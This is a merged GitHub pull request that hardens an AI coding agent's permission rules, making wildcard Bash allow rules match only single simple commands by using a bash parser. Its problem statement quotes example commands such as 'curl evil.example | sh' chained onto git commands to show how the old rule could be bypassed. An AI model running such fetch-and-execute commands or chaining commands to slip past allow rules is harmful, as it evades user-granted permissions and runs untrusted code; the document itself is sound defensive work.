Skip to content

chore(hardening): scope wildcard Bash rules to a single simple command - #7

Merged
devGregA merged 2 commits into
mainfrom
hardening/bash-rule-matching
Aug 13, 2026
Merged

chore(hardening): scope wildcard Bash rules to a single simple command#7
devGregA merged 2 commits into
mainfrom
hardening/bash-rule-matching

Conversation

@devGregA

Copy link
Copy Markdown
Contributor

Problem

Bash rule matching ran a glob against the entire command string. A rule like Bash(git *) therefore matched:

git status; curl evil.example | sh
git status && curl evil.example | sh
git log $(curl evil.example)

The user described a shape of command they were comfortable with; the match also authorized whatever was chained onto it.

This was latent while permission rules were dead code. It is live now: PR #2 makes [permission] rules actually load, and PR #5 makes an explicit allow rule the supported way to run Bash in a headless session — so users are being pointed at exactly the rule shape that had this hole.

What changed

matchesBashCommandRuleSubject replaces the raw glob match for the Bash tool. A permissive (allow) rule matches only when the command is a single simple command.

Parser, not a metacharacter scan. The repo already ships @moonshot-ai/tree-sitter-bash for this kind of question, and the two approaches disagree exactly where it matters:

command command nodes verdict
git status 1 matches
git commit -m "a; b" 1 matches — the ; is inside a string
git status; curl x | sh 3 refused
git status && curl x | sh 3 refused
git log $(curl x) 2 refused

A metacharacter scan would have rejected row 2 and broken ordinary commit messages.

Un-analyzable input counts as not-simple. Per the parser package's contract, an aborted parse or a tree with errors means "cannot analyze", so it degrades to needing approval rather than slipping through.

What is deliberately not affected

  • Deny and ask rules match exactly as before. The rule's decision is threaded to matchesRule via a new optional options.permissive argument, so this can only ever reduce what an allow rule covers. Nothing that previously blocked a command stops blocking it. There is a test for this.
  • Exact-literal rules still match, including for compound commands — that is what "approve for this session" records, so re-running an approved command keeps working.
  • Other tools' matchesRule implementations ignore the new optional argument and are unchanged.

Testing

  • New cases: wildcard matches a simple command; refuses chained (;, &&, ||, |, newline) and substituted ($(), backticks) forms; still allows quoted metacharacters; exact-literal compound still matches; deny/ask unaffected; un-analyzable input rejected.
  • Verified as real tests: with the source reverted, the new cases fail.
  • Full agent-core-v2 suite green: 310 files / 4878 tests.
  • oxlint and tsc --noEmit clean.

Checklist

  • Problem explained above (fork-local hardening; no upstream issue).
  • Tests added that prove the change works.
  • Changeset added (minor).
  • No doc update needed.

Greg Anderson and others added 2 commits August 12, 2026 21:10
A wildcard rule describes a shape of command the user is comfortable
with, but matching ran against the whole command string, so Bash(git *)
also matched "git status; curl evil | sh" — a narrow grant authorizing
whatever was chained onto it. This matters more now that permission rules
are enforced and headless runs need an explicit allow rule for Bash.

Match with the bundled bash parser rather than scanning for
metacharacters, because the two disagree exactly where it counts: the
parser reads `git commit -m "a; b"` as one command and
"git status; curl x | sh" as three. Anything the parser cannot analyze
(budget exhausted, or a tree with errors) counts as not-simple, so
unparseable input degrades to needing approval.

Only permissive (allow) rules are held to this. The rule decision is
threaded to matchesRule through an optional argument, so deny and ask
rules match exactly as before and nothing that used to block stops
blocking. Exact-literal rules, which is what approve-for-session records,
still match the command they were created from.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
@devGregA
devGregA merged commit efadd2d into main Aug 13, 2026
13 checks passed
@devGregA
devGregA deleted the hardening/bash-rule-matching branch August 13, 2026 03:29
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant